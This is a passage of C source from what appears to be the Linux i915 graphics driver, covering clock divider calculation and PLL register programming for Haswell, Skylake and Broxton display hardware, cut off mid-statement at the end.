best->r2 = r2; } } else if (a >= c && b < d) { /* If A is below the threshold but B is above it? Update. */ best->p = p; best->n2 = n2; best->r2 = r2; } else if (a >= c && b >= d) { /* Both are below the limit, so pick the higher n2/(r2*r2) */ if (n2 * best->r2 * best->r2 > best->n2 * r2 * r2) { best->p = p; best->n2 = n2; best->r2 = r2; } } /* Otherwise a < c && b >= d, do nothing */ } static void hsw_ddi_calculate_wrpll(int clock /* in Hz */, unsigned *r2_out, unsigned *n2_out, unsigned *p_out) { uint64_t freq2k; unsigned p, n2, r2; struct hsw_wrpll_rnp best = { 0, 0, 0 }; unsigned budget; freq2k = clock / 100; budget = hsw_wrpll_get_budget_for_freq(clock); /* Special case handling for 540 pixel clock: bypass WR PLL entirely * and directly pass the LC PLL to it. */ if (freq2k == 5400000) { *n2_out = 2; *p_out = 1; *r2_out = 2; return; } /* * Ref = LC_FREQ / R, where Ref is the actual reference input seen by * the WR PLL. * * We want R so that REF_MIN <= Ref <= REF_MAX. * Injecting R2 = 2 * R gives: * REF_MAX * r2 > LC_FREQ * 2 and * REF_MIN * r2 < LC_FREQ * 2 * * Which means the desired boundaries for r2 are: * LC_FREQ * 2 / REF_MAX < r2 < LC_FREQ * 2 / REF_MIN * */ for (r2 = LC_FREQ * 2 / REF_MAX + 1; r2 <= LC_FREQ * 2 / REF_MIN; r2++) { /* * VCO = N * Ref, that is: VCO = N * LC_FREQ / R * * Once again we want VCO_MIN <= VCO <= VCO_MAX. * Injecting R2 = 2 * R and N2 = 2 * N, we get: * VCO_MAX * r2 > n2 * LC_FREQ and * VCO_MIN * r2 < n2 * LC_FREQ) * * Which means the desired boundaries for n2 are: * VCO_MIN * r2 / LC_FREQ < n2 < VCO_MAX * r2 / LC_FREQ */ for (n2 = VCO_MIN * r2 / LC_FREQ + 1; n2 <= VCO_MAX * r2 / LC_FREQ; n2++) { for (p = P_MIN; p <= P_MAX; p += P_INC) hsw_wrpll_update_rnp(freq2k, budget, r2, n2, p, &best); } } *n2_out = best.n2; *p_out = best.p; *r2_out = best.r2; } static struct intel_shared_dpll *hsw_ddi_hdmi_get_dpll(int clock, struct intel_crtc *crtc, struct intel_crtc_state *crtc_state) { struct intel_shared_dpll *pll; uint32_t val; unsigned int p, n2, r2; hsw_ddi_calculate_wrpll(clock * 1000, &r2, &n2, &p); val = WRPLL_PLL_ENABLE | WRPLL_PLL_LCPLL | WRPLL_DIVIDER_REFERENCE(r2) | WRPLL_DIVIDER_FEEDBACK(n2) | WRPLL_DIVIDER_POST(p); crtc_state->dpll_hw_state.wrpll = val; pll = intel_find_shared_dpll(crtc, crtc_state, DPLL_ID_WRPLL1, DPLL_ID_WRPLL2); if (!pll) return NULL; return pll; } static struct intel_shared_dpll * hsw_ddi_dp_get_dpll(struct intel_encoder *encoder, int clock) { struct drm_i915_private *dev_priv = to_i915(encoder->base.dev); struct intel_shared_dpll *pll; enum intel_dpll_id pll_id; switch (clock / 2) { case 81000: pll_id = DPLL_ID_LCPLL_810; break; case 135000: pll_id = DPLL_ID_LCPLL_1350; break; case 270000: pll_id = DPLL_ID_LCPLL_2700; break; default: DRM_DEBUG_KMS("Invalid clock for DP: %d\n", clock); return NULL; } pll = intel_get_shared_dpll_by_id(dev_priv, pll_id); if (!pll) return NULL; return pll; } static struct intel_shared_dpll * hsw_get_dpll(struct intel_crtc *crtc, struct intel_crtc_state *crtc_state, struct intel_encoder *encoder) { struct intel_shared_dpll *pll; int clock = crtc_state->port_clock; memset(&crtc_state->dpll_hw_state, 0, sizeof(crtc_state->dpll_hw_state)); if (intel_crtc_has_type(crtc_state, INTEL_OUTPUT_HDMI)) { pll = hsw_ddi_hdmi_get_dpll(clock, crtc, crtc_state); } else if (intel_crtc_has_dp_encoder(crtc_state)) { pll = hsw_ddi_dp_get_dpll(encoder, clock); } else if (intel_crtc_has_type(crtc_state, INTEL_OUTPUT_ANALOG)) { if (WARN_ON(crtc_state->port_clock / 2 != 135000)) return NULL; crtc_state->dpll_hw_state.spll = SPLL_PLL_ENABLE | SPLL_PLL_FREQ_1350MHz | SPLL_PLL_SSC; pll = intel_find_shared_dpll(crtc, crtc_state, DPLL_ID_SPLL, DPLL_ID_SPLL); } else { return NULL; } if (!pll) return NULL; intel_reference_shared_dpll(pll, crtc_state); return pll; } static void hsw_dump_hw_state(struct drm_i915_private *dev_priv, struct intel_dpll_hw_state *hw_state) { DRM_DEBUG_KMS("dpll_hw_state: wrpll: 0x%x spll: 0x%x\n", hw_state->wrpll, hw_state->spll); } static const struct intel_shared_dpll_funcs hsw_ddi_wrpll_funcs = { .enable = hsw_ddi_wrpll_enable, .disable = hsw_ddi_wrpll_disable, .get_hw_state = hsw_ddi_wrpll_get_hw_state, }; static const struct intel_shared_dpll_funcs hsw_ddi_spll_funcs = { .enable = hsw_ddi_spll_enable, .disable = hsw_ddi_spll_disable, .get_hw_state = hsw_ddi_spll_get_hw_state, }; static void hsw_ddi_lcpll_enable(struct drm_i915_private *dev_priv, struct intel_shared_dpll *pll) { } static void hsw_ddi_lcpll_disable(struct drm_i915_private *dev_priv, struct intel_shared_dpll *pll) { } static bool hsw_ddi_lcpll_get_hw_state(struct drm_i915_private *dev_priv, struct intel_shared_dpll *pll, struct intel_dpll_hw_state *hw_state) { return true; } static const struct intel_shared_dpll_funcs hsw_ddi_lcpll_funcs = { .enable = hsw_ddi_lcpll_enable, .disable = hsw_ddi_lcpll_disable, .get_hw_state = hsw_ddi_lcpll_get_hw_state, }; struct skl_dpll_regs { i915_reg_t ctl, cfgcr1, cfgcr2; }; /* this array is indexed by the *shared* pll id */ static const struct skl_dpll_regs skl_dpll_regs[4] = { { /* DPLL 0 */ .ctl = LCPLL1_CTL, /* DPLL 0 doesn't support HDMI mode */ }, { /* DPLL 1 */ .ctl = LCPLL2_CTL, .cfgcr1 = DPLL_CFGCR1(SKL_DPLL1), .cfgcr2 = DPLL_CFGCR2(SKL_DPLL1), }, { /* DPLL 2 */ .ctl = WRPLL_CTL(0), .cfgcr1 = DPLL_CFGCR1(SKL_DPLL2), .cfgcr2 = DPLL_CFGCR2(SKL_DPLL2), }, { /* DPLL 3 */ .ctl = WRPLL_CTL(1), .cfgcr1 = DPLL_CFGCR1(SKL_DPLL3), .cfgcr2 = DPLL_CFGCR2(SKL_DPLL3), }, }; static void skl_ddi_pll_write_ctrl1(struct drm_i915_private *dev_priv, struct intel_shared_dpll *pll) { const enum intel_dpll_id id = pll->info->id; uint32_t val; val = I915_READ(DPLL_CTRL1); val &= ~(DPLL_CTRL1_HDMI_MODE(id) | DPLL_CTRL1_SSC(id) | DPLL_CTRL1_LINK_RATE_MASK(id)); val |= pll->state.hw_state.ctrl1 << (id * 6); I915_WRITE(DPLL_CTRL1, val); POSTING_READ(DPLL_CTRL1); } static void skl_ddi_pll_enable(struct drm_i915_private *dev_priv, struct intel_shared_dpll *pll) { const struct skl_dpll_regs *regs = skl_dpll_regs; const enum intel_dpll_id id = pll->info->id; skl_ddi_pll_write_ctrl1(dev_priv, pll); I915_WRITE(regs[id].cfgcr1, pll->state.hw_state.cfgcr1); I915_WRITE(regs[id].cfgcr2, pll->state.hw_state.cfgcr2); POSTING_READ(regs[id].cfgcr1); POSTING_READ(regs[id].cfgcr2); /* the enable bit is always bit 31 */ I915_WRITE(regs[id].ctl, I915_READ(regs[id].ctl) | LCPLL_PLL_ENABLE); if (intel_wait_for_register(dev_priv, DPLL_STATUS, DPLL_LOCK(id), DPLL_LOCK(id), 5)) DRM_ERROR("DPLL %d not locked\n", id); } static void skl_ddi_dpll0_enable(struct drm_i915_private *dev_priv, struct intel_shared_dpll *pll) { skl_ddi_pll_write_ctrl1(dev_priv, pll); } static void skl_ddi_pll_disable(struct drm_i915_private *dev_priv, struct intel_shared_dpll *pll) { const struct skl_dpll_regs *regs = skl_dpll_regs; const enum intel_dpll_id id = pll->info->id; /* the enable bit is always bit 31 */ I915_WRITE(regs[id].ctl, I915_READ(regs[id].ctl) & ~LCPLL_PLL_ENABLE); POSTING_READ(regs[id].ctl); } static void skl_ddi_dpll0_disable(struct drm_i915_private *dev_priv, struct intel_shared_dpll *pll) { } static bool skl_ddi_pll_get_hw_state(struct drm_i915_private *dev_priv, struct intel_shared_dpll *pll, struct intel_dpll_hw_state *hw_state) { uint32_t val; const struct skl_dpll_regs *regs = skl_dpll_regs; const enum intel_dpll_id id = pll->info->id; bool ret; if (!intel_display_power_get_if_enabled(dev_priv, POWER_DOMAIN_PLLS)) return false; ret = false; val = I915_READ(regs[id].ctl); if (!(val & LCPLL_PLL_ENABLE)) goto out; val = I915_READ(DPLL_CTRL1); hw_state->ctrl1 = (val >> (id * 6)) & 0x3f; /* avoid reading back stale values if HDMI mode is not enabled */ if (val & DPLL_CTRL1_HDMI_MODE(id)) { hw_state->cfgcr1 = I915_READ(regs[id].cfgcr1); hw_state->cfgcr2 = I915_READ(regs[id].cfgcr2); } ret = true; out: intel_display_power_put(dev_priv, POWER_DOMAIN_PLLS); return ret; } static bool skl_ddi_dpll0_get_hw_state(struct drm_i915_private *dev_priv, struct intel_shared_dpll *pll, struct intel_dpll_hw_state *hw_state) { uint32_t val; const struct skl_dpll_regs *regs = skl_dpll_regs; const enum intel_dpll_id id = pll->info->id; bool ret; if (!intel_display_power_get_if_enabled(dev_priv, POWER_DOMAIN_PLLS)) return false; ret = false; /* DPLL0 is always enabled since it drives CDCLK */ val = I915_READ(regs[id].ctl); if (WARN_ON(!(val & LCPLL_PLL_ENABLE))) goto out; val = I915_READ(DPLL_CTRL1); hw_state->ctrl1 = (val >> (id * 6)) & 0x3f; ret = true; out: intel_display_power_put(dev_priv, POWER_DOMAIN_PLLS); return ret; } struct skl_wrpll_context { uint64_t min_deviation; /* current minimal deviation */ uint64_t central_freq; /* chosen central freq */ uint64_t dco_freq; /* chosen dco freq */ unsigned int p; /* chosen divider */ }; static void skl_wrpll_context_init(struct skl_wrpll_context *ctx) { memset(ctx, 0, sizeof(*ctx)); ctx->min_deviation = U64_MAX; } /* DCO freq must be within +1%/-6% of the DCO central freq */ #define SKL_DCO_MAX_PDEVIATION 100 #define SKL_DCO_MAX_NDEVIATION 600 static void skl_wrpll_try_divider(struct skl_wrpll_context *ctx, uint64_t central_freq, uint64_t dco_freq, unsigned int divider) { uint64_t deviation; deviation = div64_u64(10000 * abs_diff(dco_freq, central_freq), central_freq); /* positive deviation */ if (dco_freq >= central_freq) { if (deviation < SKL_DCO_MAX_PDEVIATION && deviation < ctx->min_deviation) { ctx->min_deviation = deviation; ctx->central_freq = central_freq; ctx->dco_freq = dco_freq; ctx->p = divider; } /* negative deviation */ } else if (deviation < SKL_DCO_MAX_NDEVIATION && deviation < ctx->min_deviation) { ctx->min_deviation = deviation; ctx->central_freq = central_freq; ctx->dco_freq = dco_freq; ctx->p = divider; } } static void skl_wrpll_get_multipliers(unsigned int p, unsigned int *p0 /* out */, unsigned int *p1 /* out */, unsigned int *p2 /* out */) { /* even dividers */ if (p % 2 == 0) { unsigned int half = p / 2; if (half == 1 || half == 2 || half == 3 || half == 5) { *p0 = 2; *p1 = 1; *p2 = half; } else if (half % 2 == 0) { *p0 = 2; *p1 = half / 2; *p2 = 2; } else if (half % 3 == 0) { *p0 = 3; *p1 = half / 3; *p2 = 2; } else if (half % 7 == 0) { *p0 = 7; *p1 = half / 7; *p2 = 2; } } else if (p == 3 || p == 9) { /* 3, 5, 7, 9, 15, 21, 35 */ *p0 = 3; *p1 = 1; *p2 = p / 3; } else if (p == 5 || p == 7) { *p0 = p; *p1 = 1; *p2 = 1; } else if (p == 15) { *p0 = 3; *p1 = 1; *p2 = 5; } else if (p == 21) { *p0 = 7; *p1 = 1; *p2 = 3; } else if (p == 35) { *p0 = 7; *p1 = 1; *p2 = 5; } } struct skl_wrpll_params { uint32_t dco_fraction; uint32_t dco_integer; uint32_t qdiv_ratio; uint32_t qdiv_mode; uint32_t kdiv; uint32_t pdiv; uint32_t central_freq; }; static void skl_wrpll_params_populate(struct skl_wrpll_params *params, uint64_t afe_clock, uint64_t central_freq, uint32_t p0, uint32_t p1, uint32_t p2) { uint64_t dco_freq; switch (central_freq) { case 9600000000ULL: params->central_freq = 0; break; case 9000000000ULL: params->central_freq = 1; break; case 8400000000ULL: params->central_freq = 3; } switch (p0) { case 1: params->pdiv = 0; break; case 2: params->pdiv = 1; break; case 3: params->pdiv = 2; break; case 7: params->pdiv = 4; break; default: WARN(1, "Incorrect PDiv\n"); } switch (p2) { case 5: params->kdiv = 0; break; case 2: params->kdiv = 1; break; case 3: params->kdiv = 2; break; case 1: params->kdiv = 3; break; default: WARN(1, "Incorrect KDiv\n"); } params->qdiv_ratio = p1; params->qdiv_mode = (params->qdiv_ratio == 1) ? 0 : 1; dco_freq = p0 * p1 * p2 * afe_clock; /* * Intermediate values are in Hz. * Divide by MHz to match bsepc */ params->dco_integer = div_u64(dco_freq, 24 * MHz(1)); params->dco_fraction = div_u64((div_u64(dco_freq, 24) - params->dco_integer * MHz(1)) * 0x8000, MHz(1)); } static bool skl_ddi_calculate_wrpll(int clock /* in Hz */, struct skl_wrpll_params *wrpll_params) { uint64_t afe_clock = clock * 5; /* AFE Clock is 5x Pixel clock */ uint64_t dco_central_freq[3] = {8400000000ULL, 9000000000ULL, 9600000000ULL}; static const int even_dividers[] = { 4, 6, 8, 10, 12, 14, 16, 18, 20, 24, 28, 30, 32, 36, 40, 42, 44, 48, 52, 54, 56, 60, 64, 66, 68, 70, 72, 76, 78, 80, 84, 88, 90, 92, 96, 98 }; static const int odd_dividers[] = { 3, 5, 7, 9, 15, 21, 35 }; static const struct { const int *list; int n_dividers; } dividers[] = { { even_dividers, ARRAY_SIZE(even_dividers) }, { odd_dividers, ARRAY_SIZE(odd_dividers) }, }; struct skl_wrpll_context ctx; unsigned int dco, d, i; unsigned int p0, p1, p2; skl_wrpll_context_init(&ctx); for (d = 0; d < ARRAY_SIZE(dividers); d++) { for (dco = 0; dco < ARRAY_SIZE(dco_central_freq); dco++) { for (i = 0; i < dividers[d].n_dividers; i++) { unsigned int p = dividers[d].list[i]; uint64_t dco_freq = p * afe_clock; skl_wrpll_try_divider(&ctx, dco_central_freq[dco], dco_freq, p); /* * Skip the remaining dividers if we're sure to * have found the definitive divider, we can't * improve a 0 deviation. */ if (ctx.min_deviation == 0) goto skip_remaining_dividers; } } skip_remaining_dividers: /* * If a solution is found with an even divider, prefer * this one. */ if (d == 0 && ctx.p) break; } if (!ctx.p) { DRM_DEBUG_DRIVER("No valid divider found for %dHz\n", clock); return false; } /* * gcc incorrectly analyses that these can be used without being * initialized. To be fair, it's hard to guess. */ p0 = p1 = p2 = 0; skl_wrpll_get_multipliers(ctx.p, &p0, &p1, &p2); skl_wrpll_params_populate(wrpll_params, afe_clock, ctx.central_freq, p0, p1, p2); return true; } static bool skl_ddi_hdmi_pll_dividers(struct intel_crtc *crtc, struct intel_crtc_state *crtc_state, int clock) { uint32_t ctrl1, cfgcr1, cfgcr2; struct skl_wrpll_params wrpll_params = { 0, }; /* * See comment in intel_dpll_hw_state to understand why we always use 0 * as the DPLL id in this function. */ ctrl1 = DPLL_CTRL1_OVERRIDE(0); ctrl1 |= DPLL_CTRL1_HDMI_MODE(0); if (!skl_ddi_calculate_wrpll(clock * 1000, &wrpll_params)) return false; cfgcr1 = DPLL_CFGCR1_FREQ_ENABLE | DPLL_CFGCR1_DCO_FRACTION(wrpll_params.dco_fraction) | wrpll_params.dco_integer; cfgcr2 = DPLL_CFGCR2_QDIV_RATIO(wrpll_params.qdiv_ratio) | DPLL_CFGCR2_QDIV_MODE(wrpll_params.qdiv_mode) | DPLL_CFGCR2_KDIV(wrpll_params.kdiv) | DPLL_CFGCR2_PDIV(wrpll_params.pdiv) | wrpll_params.central_freq; memset(&crtc_state->dpll_hw_state, 0, sizeof(crtc_state->dpll_hw_state)); crtc_state->dpll_hw_state.ctrl1 = ctrl1; crtc_state->dpll_hw_state.cfgcr1 = cfgcr1; crtc_state->dpll_hw_state.cfgcr2 = cfgcr2; return true; } static bool skl_ddi_dp_set_dpll_hw_state(int clock, struct intel_dpll_hw_state *dpll_hw_state) { uint32_t ctrl1; /* * See comment in intel_dpll_hw_state to understand why we always use 0 * as the DPLL id in this function. */ ctrl1 = DPLL_CTRL1_OVERRIDE(0); switch (clock / 2) { case 81000: ctrl1 |= DPLL_CTRL1_LINK_RATE(DPLL_CTRL1_LINK_RATE_810, 0); break; case 135000: ctrl1 |= DPLL_CTRL1_LINK_RATE(DPLL_CTRL1_LINK_RATE_1350, 0); break; case 270000: ctrl1 |= DPLL_CTRL1_LINK_RATE(DPLL_CTRL1_LINK_RATE_2700, 0); break; /* eDP 1.4 rates */ case 162000: ctrl1 |= DPLL_CTRL1_LINK_RATE(DPLL_CTRL1_LINK_RATE_1620, 0); break; case 108000: ctrl1 |= DPLL_CTRL1_LINK_RATE(DPLL_CTRL1_LINK_RATE_1080, 0); break; case 216000: ctrl1 |= DPLL_CTRL1_LINK_RATE(DPLL_CTRL1_LINK_RATE_2160, 0); break; } dpll_hw_state->ctrl1 = ctrl1; return true; } static struct intel_shared_dpll * skl_get_dpll(struct intel_crtc *crtc, struct intel_crtc_state *crtc_state, struct intel_encoder *encoder) { struct intel_shared_dpll *pll; int clock = crtc_state->port_clock; bool bret; struct intel_dpll_hw_state dpll_hw_state; memset(&dpll_hw_state, 0, sizeof(dpll_hw_state)); if (intel_crtc_has_type(crtc_state, INTEL_OUTPUT_HDMI)) { bret = skl_ddi_hdmi_pll_dividers(crtc, crtc_state, clock); if (!bret) { DRM_DEBUG_KMS("Could not get HDMI pll dividers.\n"); return NULL; } } else if (intel_crtc_has_dp_encoder(crtc_state)) { bret = skl_ddi_dp_set_dpll_hw_state(clock, &dpll_hw_state); if (!bret) { DRM_DEBUG_KMS("Could not set DP dpll HW state.\n"); return NULL; } crtc_state->dpll_hw_state = dpll_hw_state; } else { return NULL; } if (intel_crtc_has_type(crtc_state, INTEL_OUTPUT_EDP)) pll = intel_find_shared_dpll(crtc, crtc_state, DPLL_ID_SKL_DPLL0, DPLL_ID_SKL_DPLL0); else pll = intel_find_shared_dpll(crtc, crtc_state, DPLL_ID_SKL_DPLL1, DPLL_ID_SKL_DPLL3); if (!pll) return NULL; intel_reference_shared_dpll(pll, crtc_state); return pll; } static void skl_dump_hw_state(struct drm_i915_private *dev_priv, struct intel_dpll_hw_state *hw_state) { DRM_DEBUG_KMS("dpll_hw_state: " "ctrl1: 0x%x, cfgcr1: 0x%x, cfgcr2: 0x%x\n", hw_state->ctrl1, hw_state->cfgcr1, hw_state->cfgcr2); } static const struct intel_shared_dpll_funcs skl_ddi_pll_funcs = { .enable = skl_ddi_pll_enable, .disable = skl_ddi_pll_disable, .get_hw_state = skl_ddi_pll_get_hw_state, }; static const struct intel_shared_dpll_funcs skl_ddi_dpll0_funcs = { .enable = skl_ddi_dpll0_enable, .disable = skl_ddi_dpll0_disable, .get_hw_state = skl_ddi_dpll0_get_hw_state, }; static void bxt_ddi_pll_enable(struct drm_i915_private *dev_priv, struct intel_shared_dpll *pll) { uint32_t temp; enum port port = (enum port)pll->info->id; /* 1:1 port->PLL mapping */ enum dpio_phy phy; enum dpio_channel ch; bxt_port_to_phy_channel(dev_priv, port, &phy, &ch); /* Non-SSC reference */ temp = I915_READ(BXT_PORT_PLL_ENABLE(port)); temp |= PORT_PLL_REF_SEL; I915_WRITE(BXT_PORT_PLL_ENABLE(port), temp); if (IS_GEMINILAKE(dev_priv)) { temp = I915_READ(BXT_PORT_PLL_ENABLE(port)); temp |= PORT_PLL_POWER_ENABLE; I915_WRITE(BXT_PORT_PLL_ENABLE(port), temp); if (wait_for_us((I915_READ(BXT_PORT_PLL_ENABLE(port)) & PORT_PLL_POWER_STATE), 200)) DRM_ERROR("Power state not set for PLL:%d\n", port); } /* Disable 10 bit clock */ temp = I915_READ(BXT_PORT_PLL_EBB_4(phy, ch)); temp &= ~PORT_PLL_10BIT_CLK_ENABLE; I915_WRITE(BXT_PORT_PLL_EBB_4(phy, ch), temp); /* Write P1 & P2 */ temp = I915_READ(BXT_PORT_PLL_EBB_0(phy, ch)); temp &= ~(PORT_PLL_P1_MASK | PORT_PLL_P2_MASK); temp |= pll->state.hw_state.ebb0; I915_WRITE(BXT_PORT_PLL_EBB_0(phy, ch), temp); /* Write M2 integer */ temp = I915_READ(BXT_PORT_PLL(phy, ch, 0)); temp &= ~PORT_PLL_M2_MASK; temp |= pll->state.hw_state.pll0; I915_WRITE(BXT_PORT_PLL(phy, ch, 0), temp); /* Write N */ temp = I915_READ(BXT_PORT_PLL(phy, ch, 1)); temp &= ~PORT_PLL_N_MASK; temp |= pll->state.hw_state.pll1; I915_WRITE(BXT_PORT_PLL(phy, ch, 1), temp); /* Write M2 fraction */ temp = I915_READ(BXT_PORT_PLL(phy, ch, 2)); temp &= ~PORT_PLL_M2_FRAC_MASK; temp |= pll->state.hw_state.pll2; I915_WRITE(BXT_PORT_PLL(phy, ch, 2), temp); /* Write M2 fraction enable */ temp = I915_READ(BXT_PORT_PLL(phy, ch, 3)); temp &= ~PORT_PLL_M2_FRAC_ENABLE; temp |= pll->state.hw_state.pll3; I915_WRITE(BXT_PORT_PLL(phy, ch, 3), temp); /* Write coeff */ temp = I915_READ(BXT_PORT_PLL(phy, ch, 6)); temp &= ~PORT_PLL_PROP_COEFF_MASK; temp &= ~PORT_PLL_INT_COEFF_MASK; temp &= ~PORT_PLL_GAIN_CTL_MASK; temp |= pll->state.hw_state.pll6; I915_WRITE(BXT_PORT_PLL(phy, ch, 6), temp); /* Write calibration val */ temp = I915_READ(BXT_PORT_PLL(phy, ch, 8)); temp &= ~PORT_PLL_TARGET_CNT_MASK; temp |= pll->state.hw_state.pll8; I915_WRITE(BXT_PORT_PLL(phy, ch, 8), temp); temp = I915_READ(BXT_PORT_PLL(phy, ch, 9)); temp &= ~PORT_PLL_LOCK_THRESHOLD_MASK; temp |= pll->state.hw_state.pll9; I915_WRITE(BXT_PORT_PLL(phy, ch, 9), temp); temp = I915_READ(BXT_PORT_PLL(phy, ch, 10)); temp &= ~PORT_PLL_DCO_AMP_OVR_EN_H; temp &= ~PORT_PLL_DCO_AMP_MASK; temp |= pll->state.hw_state.pll10; I915_WRITE(BXT_PORT_PLL(phy, ch, 10), temp); /* Recalibrate with new settings */ temp = I915_READ(BXT_PORT_PLL_EBB_4(phy, ch)); temp |= PORT_PLL_RECALIBRATE; I915_WRITE(BXT_PORT_PLL_EBB_4(phy, ch), temp); temp &= ~PORT_PLL_10BIT_CLK_ENABLE; temp |= pll->state.hw_state.ebb4; I915_WRITE(BXT_PORT_PLL_EBB_4(phy, ch), temp); /* Enable PLL */ temp = I915_READ(BXT_PORT_PLL_ENABLE(port)); temp |= PORT_PLL_ENABLE; I915_WRITE(BXT_PORT_PLL_ENABLE(port), temp); POSTING_READ(BXT_PORT_PLL_ENABLE(port)); if (wait_for_us((I915_READ(BXT_PORT_PLL_ENABLE(port)) & PORT_PLL_LOCK), 200)) DRM_ERROR("PLL %d not locked\n", port); if (IS_GEMINILAKE(dev_priv)) { temp = I915_READ(BXT_PORT_TX_DW5_LN0(phy, ch)); temp |= DCC_DELAY_RANGE_2; I915_WRITE(BXT_PORT_TX_DW5_GRP(phy, ch), temp); } /* * While we write to the group register to program all lanes at once we * can read only lane registers and we pick lanes 0/1 for that. */ temp = I915_READ(BXT_PORT_PCS_DW12_LN01(phy, ch)); temp &= ~LANE_STAGGER_MASK; temp &= ~LANESTAGGER_STRAP_OVRD; temp |= pll->state.hw_state.pcsdw12; I915_WRITE(BXT_PORT_PCS_DW12_GRP(phy, ch), temp); } static void bxt_ddi_pll_disable(struct drm_i915_private *dev_priv, struct intel_shared_dpll *pll) { enum port port = (enum port)pll->info->id; /* 1:1 port->PLL mapping */ uint32_t temp; temp = I915_READ(BXT_PORT_PLL_ENABLE(port)); temp &= ~PORT_PLL_ENABLE; I915_WRITE(BXT_PORT_PLL_ENABLE(port), temp); POSTING_READ(BXT_PORT_PLL_ENABLE(port)); if (IS_GEMINILAKE(dev_priv)) { temp = I915_READ(BXT_PORT_PLL_ENABLE(port)); temp &= ~PORT_PLL_POWER_ENABLE; I915_WRITE(BXT_PORT_PLL_ENABLE(port), temp); if (wait_for_us(!(I915_READ(BXT_PORT_PLL_ENABLE(port)) & PORT_PLL_POWER_STATE), 200)) DRM_ERROR("Power state not reset for PLL:%d\n", port); } } static bool bxt_ddi_pll_get_hw_state(struct drm_i915_private *dev_priv, struct intel_shared_dpll *pll, struct intel_dpll_hw_state *hw_state) { enum port port = (enum port)pll->info->id; /* 1:1 port->PLL mapping */ uint32_t val; bool ret; enum dpio_phy phy; enum dpio_channel ch; bxt_port_to_phy_channel(dev_priv, port, &phy, &ch); if (!intel_display_power_get_if_enabled(dev_priv, POWER_DOMAIN_PLLS)) return false; ret = false; val = I915_READ(BXT_PORT_PLL_ENABLE(port)); if (!(val & PORT_PLL_ENABLE)) goto out; hw_state->ebb0 = I915_READ(BXT_PORT_PLL_EBB_0(phy, ch)); hw_state->ebb0 &= PORT_PLL_P1_MASK | PORT_PLL_P2_MASK; hw_state->ebb4 = I915_READ(BXT_PORT_PLL_EBB_4(phy, ch)); hw_state->ebb4 &= PORT_PLL_10BIT_CLK_ENABLE; hw_state->pll0 = I915_READ(BXT_PORT_PLL(phy, ch, 0)); hw_state->pll0 &= PORT_PLL_M2_MASK; hw_state->pll1 = I915_READ(BXT_PORT_PLL(phy, ch, 1)); hw_state->pll1 &= PORT_PLL_N_MASK; hw_state->pll2 = I915_READ(BXT_PORT_PLL(phy, ch, 2)); hw_state->pll2 &= PORT_PLL_M2_FRAC_MASK; hw_state->pll3 = I915_READ(BXT_PORT_PLL(phy, ch, 3)); hw_state->pll3 &= PORT_PLL_M2_FRAC_ENABLE; hw_state->pll6 = I915_READ(BXT_PORT_PLL(phy, ch, 6)); hw_state->pll6 &= PORT_PLL_PROP_COEFF_MASK | PORT_PLL_INT_COEFF_MASK | PORT_PLL_GAIN_CTL_MASK; hw_state->pll8 = I915_READ(BXT_PORT_PLL(phy, ch, 8)); hw_state->pll8 &= PORT_PLL_TARGET_CNT_MASK; hw_state->pll9 = I915_READ(BXT_PORT_PLL(phy, ch, 9)); hw_state->pll9 &= PORT_PLL_LOCK_THRESHOLD_MASK; hw_state->pll10 = I915_READ(BXT_PORT_PLL(phy, ch, 10)); hw_state->pll10 &= PORT_PLL_DCO_AMP_OVR_EN_H | PORT_PLL_DCO_AMP_MASK; /* * While we write to the group register to program all lanes at once we * can read only lane registers. We configure all lanes the same way, so * here just read out lanes 0/1 and output a note if lanes 2/3 differ. */ hw_state->pcsdw12 = I915_READ(BXT_PORT_PCS_DW12_LN01(phy, ch)); if (I915_READ(BXT_PORT_PCS_DW12_LN23(phy, ch)) != hw_state->pcsdw12) DRM_DEBUG_DRIVER("lane stagger config different for lane 01 (%08x) and 23 (%08x)\n", hw_state->pcsdw12, I915_READ(BXT_PORT_PCS_DW12_LN23(phy, ch))); hw_state->pcsdw12 &= LANE_STAGGER_MASK | LANESTAGGER_STRAP_OVRD; ret = true; out: intel_display_power_put(dev_priv, POWER_DOMAIN_PLLS); return ret; } /* bxt clock parameters */ struct bxt_clk_div { int clock; uint32_t p1; uint32_t p2; uint32_t m2_int; uint32_t m2_frac; bool m2_frac_en; uint32_t n; int vco; }; /* pre-calculated values for DP linkrates */ static const struct bxt_clk_div bxt_dp_clk_val[] = { {162000, 4, 2, 32, 1677722, 1, 1}, {270000, 4, 1, 27, 0, 0, 1}, {540000, 2, 1, 27, 0, 0, 1}, {216000, 3, 2, 32, 1677722, 1, 1}, {243000, 4, 1, 24, 1258291, 1, 1}, {324000, 4, 1, 32, 1677722, 1, 1}, {432000, 3, 1, 32, 1677722, 1, 1} }; static bool bxt_ddi_hdmi_pll_dividers(struct intel_crtc *intel_crtc, struct intel_crtc_state *crtc_state, int clock, struct bxt_clk_div *clk_div) { struct dpll best_clock; /* Calculate HDMI div */ /* * FIXME: tie the following calculation into * i9xx_crtc_compute_clock */ if (!bxt_find_best_dpll(crtc_state, clock, &best_clock)) { DRM_DEBUG_DRIVER("no PLL dividers found for clock %d pipe %c\n", clock, pipe_name(intel_crtc->pipe)); return false; } clk_div->p1 = best_clock.p1; clk_div->p2 = best_clock.p2; WARN_ON(best_clock.m1 != 2); clk_div->n = best_clock.n; clk_div->m2_int = best_clock.m2 >> 22; clk_div->m2_frac = best_clock.m2 & ((1 << 22) - 1); clk_div->m2_frac_en = clk_div->m2_frac != 0; clk_div->vco = best_clock.vco; return true; } static void bxt_ddi_dp_pll_dividers(int clock, struct bxt_clk_div *clk_div) { int i; *clk_div = bxt_dp_clk_val[0]; for (i = 0; i < ARRAY_SIZE(bxt_dp_clk_val); ++i) { if (bxt_dp_clk_val[i].clock == clock) { *clk_div = bxt_dp_clk_val[i]; break; } } clk_div->vco = clock * 10 / 2 * clk_div->p1 * clk_div->p2; } static bool bxt_ddi_set_dpll_hw_state(int clock, struct bxt_clk_div *clk_div, struct intel_dpll_hw_state *dpll_hw_state) { int vco = clk_div->vco; uint32_t prop_coef, int_coef, gain_ctl, targ_cnt; uint32_t lanestagger; if (vco >= 6200000 && vco <= 6700000) { prop_coef = 4; int_coef = 9; gain_ctl = 3; targ_cnt = 8; } else if ((vco > 5400000 && vco < 6200000) || (vco >= 4800000 && vco < 5400000)) { prop_coef = 5; int_coef = 11; gain_ctl = 3; targ_cnt = 9; } else if (vco == 5400000) { prop_coef = 3; int_coef = 8; gain_ctl = 1; targ_cnt = 9; } else { DRM_ERROR("Invalid VCO\n"); return false; } if (clock > 270000) lanestagger = 0x18; else if (clock > 135000) lanestagger = 0x0d; else if (clock > 67000) lanestagger 